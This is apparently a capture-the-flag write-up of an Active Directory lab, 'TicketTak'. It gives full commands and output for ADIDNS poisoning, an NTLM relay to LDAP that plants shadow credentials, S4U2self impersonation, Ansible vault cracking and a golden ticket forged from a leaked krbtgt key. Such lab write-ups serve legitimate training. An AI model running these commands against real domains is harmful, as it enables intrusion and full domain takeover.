TicketTak is a two-host Active Directory chain from Kenolab built around Kerberos ticket abuse. I’ll start with a web-based availability checker that fetches internal URLs, one of which has no DNS record. Any domain user can write to ADIDNS, so I’ll claim that name, point it at my host, and relay the machine account’s HTTP authentication to LDAP to write shadow credentials onto the computer object. From there a PKINIT certificate gets me a TGT for the machine account, and S4U2self turns that into a ticket for administrator on the host itself. On that box is an Ansible inventory with a vault-encrypted password that cracks to a domain user, who can read an IT share holding a previous pentest report. The report pastes the krbtgt AES key, so I’ll forge a golden ticket for the domain.
Recon
nmap
On the first host, the mix of DNS, Kerberos, LDAP, and SMB says domain controller
$ nmap -p- --min-rate 10000 10.253.45.11 Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-08 07:54 -0500 Warning: 10.253.45.11 giving up on port because retransmission cap hit (10). Nmap scan report for DC01.kenocorp.lan (10.253.45.11) Host is up (0.10s latency). Not shown: 59759 closed tcp ports (reset), 5751 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3389/tcp open ms-wbt-server 5985/tcp open wsman 5986/tcp open wsmans 47001/tcp open winrm
The second host has a webserver on port 80
$ nmap -p- --min-rate 10000 10.253.45.29 Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-08 07:55 -0500 Warning: 10.253.45.29 giving up on port because retransmission cap hit (10). Nmap scan report for WEB01.kenocorp.lan (10.253.45.29) Host is up (0.092s latency). Not shown: 61307 closed tcp ports (reset), 4214 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 5985/tcp open wsman 5986/tcp open wsmans 47001/tcp open winrm
Both are Windows Server 2022 Build 20348, with hostnames DC01 and WEB01
$ nxc smb targets.txt SMB 10.253.45.11 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:kenocorp.lan) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True) SMB 10.253.45.29 445 WEB01 [*] Windows Server 2022 Build 20348 x64 (name:WEB01) (domain:kenocorp.lan) (signing:False) (SMBv1:False) Running nxc against 2 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
I’ll use netexec to generate the hosts file for me
There’s one thing to keep in mind. SMB signing on WEB01 is disabled, which marks it as a relay target
SMB
The provided creds work on the DC and it has three non-default shares. IT, MGMT, and RH all look interesting, but the pentest user has no access to any of them
I’ll collect bloodhound data with bloodhound-python
$ bloodhound-python -u pentest -p pentest -d kenocorp.lan -ns 10.253.45.11 -c All --zip INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: kenocorp.lan INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.kenocorp.lan INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc01.kenocorp.lan INFO: Found 11 users INFO: Found 59 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: WEB01.kenocorp.lan INFO: Querying computer: DC01.kenocorp.lan INFO: Done in 00M 18S INFO: Compressing output into 20261108123135_bloodhound.zip
There’s nothing to abuse in bloodhound. The pentest user has no interesting ACLs
Port 80
Port 80 on WEB01 is an app called KenoMonitor “Internal Web Availability Checker”. The server fetches whichever target is picked. If we try to submit “example.com” we get “Unknow host”, so the box has no route out. There are two other internal names and neither resolves:
We can point git.kenocorp.lan to our host (ADIDNS) and trigger a check, so WEB01 authenticates to us over HTTP as the machine account. Then we can relay that authentication to LDAP on the DC. A computer object can write its own msDS-KeyCredentialLink, so the relay can plant shadow credentials on WEB01$. Finally, we can use the resulting certificate for PKINIT to get a TGT as WEB01$, then use S4U2self to get a ticket for administrator on WEB01.
ADIDNS
We can use dnstool.py from krbrelayx to add the record:
$ dnstool.py -u 'kenocorp.lan\pentest' -p 'pentest' 10.253.45.11 -d 10.200.0.46 -a add -r 'git.kenocorp.lan' [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding extra record [+] LDAP operation completed successfully
The record takes a couple of minutes to resolve. Eventually it does:
I’ll start ntlmrelayx.py listening on port 80, relaying to LDAP on the DC, with the shadow credentials attack pointed at WEB01$
$ ntlmrelayx.py -t "ldap://10.253.45.11" -smb2support --shadow-credentials --shadow-target 'WEB01$' --http-port 80 Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies [*] Protocol Client SMB loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client RPC loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client WINRMS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client MSSQL loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server on port 445 [*] Setting up HTTP Server on port 80 [*] Setting up WCF Server on port 9389 [*] Setting up RAW Server on port 6666 [*] Setting up WinRM (HTTP) Server on port 5985 [*] Setting up WinRMS (HTTPS) Server on port 5986 [*] Setting up MSSQL Server on port 1433 [*] Setting up RPC Server on port 135 [*] Setting up RDP Server on port 3389 [*] Multirelay disabled [*] Servers started, waiting for connections
Now I’ll run the check against git.kenocorp.lan. The relay then gets what it needs
[*] (HTTP): Client requested path: / [*] (HTTP): Client requested path: / [*] (HTTP): Connection from 10.253.45.29 controlled, attacking target ldap://10.253.45.11 [*] (HTTP): Client requested path: / [*] (HTTP): Authenticating connection from KENOCORP/WEB01$@10.253.45.29 against ldap://10.253.45.11 SUCCEED [1] [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Enumerating relayed user's privileges. This may take a while on large domains [-] (HTTP): Exception in HTTP request handler: [Errno 104] Connection reset by peer [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Searching for the target account [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Target user found: CN=WEB01,CN=Computers,DC=kenocorp,DC=lan [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Generating certificate [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Certificate generated [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Generating KeyCredential [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Found 1 existing KeyCredential(s) on target object [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Updating the msDS-KeyCredentialLink attribute of WEB01$ [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Updated the msDS-KeyCredentialLink attribute of the target object [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Saved PFX (#PKCS12) certificate & key at path: bPteaNwY.pfx [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Must be used with password: cI0rHlXtFx1KSvxTiuDA [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> Run the following command to obtain a TGT [*] ldap://KENOCORP/WEB01$@10.253.45.11 [1] -> python3 getTGT.py -cert-pfx bPteaNwY.pfx -pfx-pass cI0rHlXtFx1KSvxTiuDA kenocorp.lan/WEB01$
The certificate is written and WEB01$ now trusts the matching key. Now let’s run the command it told us to run to get TGT for WEB01$
$ getTGT.py -cert-pfx bPteaNwY.pfx -pfx-pass cI0rHlXtFx1KSvxTiuDA kenocorp.lan/WEB01$ Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies [*] Saving ticket in WEB01$.ccache
S4U2self
A machine account can always ask the KDC for a ticket to itself on behalf of any user (S4U2self abuse), even with no delegation configured. That’s enough to get a service ticket for administrator to WEB01:
$ export KRB5CCNAME='WEB01$.ccache' $ getST.py -spn 'cifs/WEB01.kenocorp.lan' -impersonate 'administrator' -self -k -no-pass 'kenocorp.lan/WEB01$' Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies [*] Impersonating administrator [*] When doing S4U2self only, argument -spn is ignored [*] Requesting S4U2self [*] Saving ticket in administrator@WEB01$@KENOCORP.LAN.ccache
The ticket authenticates as administrator on WEB01 and we can grab the user flag
A vault blob is PBKDF2-SHA256, which john handles. I’ll save the blob and convert it:
$ ansible2john vault.txt | tee hash vault.txt:$ansible$0*0*9b746eaf6c88fe39a35ef057a43b039bd726adea288e76d1d72a14771eb23d85*e90ac7d37cca998ed66e516c6ae089c40022d1c52c97676df94044e36f1d9501*407b580e5cc71ec9bfd6325677d042b0022e746cedebad2da1573807a74a91d6 $ j hash Using default input encoding: UTF-8 Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 256/256 AVX2 8x]) Cost 1 (iteration count) is 10000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status 30secondstomars (vault.txt) 1g 0:00:00:04 DONE (2026-11-08 13:07) 0.2278g/s 3221p/s 3221c/s 3221C/s diegos..souljagirl Use the "--show" option to display all of the cracked passwords reliably Session completed
There are some documents in the Security folder inside the IT share
$ smbclient.py 'kenocorp.lan/pierre.durand:wp7DIjcIg9ib0JMLLbOI85qCD@dc01' Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # use IT # ls drw-rw-rw- 0 Wed Apr 15 14:48:15 2026 . drw-rw-rw- 0 Wed Apr 15 14:46:22 2026 .. drw-rw-rw- 0 Wed Apr 15 14:49:20 2026 Dev drw-rw-rw- 0 Wed Apr 15 14:49:07 2026 Helpdesk drw-rw-rw- 0 Wed Apr 15 14:48:53 2026 Infra drw-rw-rw- 0 Wed Apr 15 14:54:34 2026 Security # cd Security # ls drw-rw-rw- 0 Wed Apr 15 14:54:34 2026 . drw-rw-rw- 0 Wed Apr 15 14:48:15 2026 .. -rw-rw-rw- 915566 Wed Dec 17 15:45:48 2025 anssi_supervision.pdf -rw-rw-rw- 6156839 Sat Nov 1 20:00:16 2025 FR-FR-CNTNT-eBook-HybridCloud-WindowsServerUltimateGuide-fr-fr.pdf -rw-rw-rw- 1222964 Wed Apr 22 13:12:33 2026 pentest_report.pdf # mget * [*] Downloading anssi_supervision.pdf [*] Downloading FR-FR-CNTNT-eBook-HybridCloud-WindowsServerUltimateGuide-fr-fr.pdf [*] Downloading pentest_report.pdf
pentest_report.pdf is a report from a previous engagement, and the persistence section pastes the full secretsdump.py output for krbtgt as a proof. The report masked the administrator password but left the krbtgt keys in full. The AES256 key is a7977840e57a5e7dcf400ee05b0617e8e90c3b5b3828e86505a0d15c0f51ea59
Golden Ticket
Forging a golden ticket needs the domain SID as well:
$ lookupsid.py 'kenocorp.lan/pierre.durand:wp7DIjcIg9ib0JMLLbOI85qCD@10.253.45.11' 0 Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies [*] Brute forcing SIDs at 10.253.45.11 [*] StringBinding ncacn_np:10.253.45.11[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-175356196-1599867514-1195351626
The krbtgt password has not been rotated since the report, so the key still signs valid tickets:
$ ticketer.py -aesKey a7977840e57a5e7dcf400ee05b0617e8e90c3b5b3828e86505a0d15c0f51ea59 -domain-sid S-1-5-21-175356196-1599867514-1195351626 -domain kenocorp.lan administrator Impacket v0.14.0.dev0+20261104.142624.0b3ef2b9 - Copyright Fortra, LLC and its affiliated companies [*] Creating basic skeleton ticket and PAC Infos [*] Customizing ticket for kenocorp.lan/administrator [*] PAC_LOGON_INFO [*] PAC_CLIENT_INFO_TYPE [*] EncTicketPart [*] EncAsRepPart [*] Signing/Encrypting final ticket [*] EncTicketPart [*] EncASRepPart [*] Saving/Updating ticket in administrator.ccache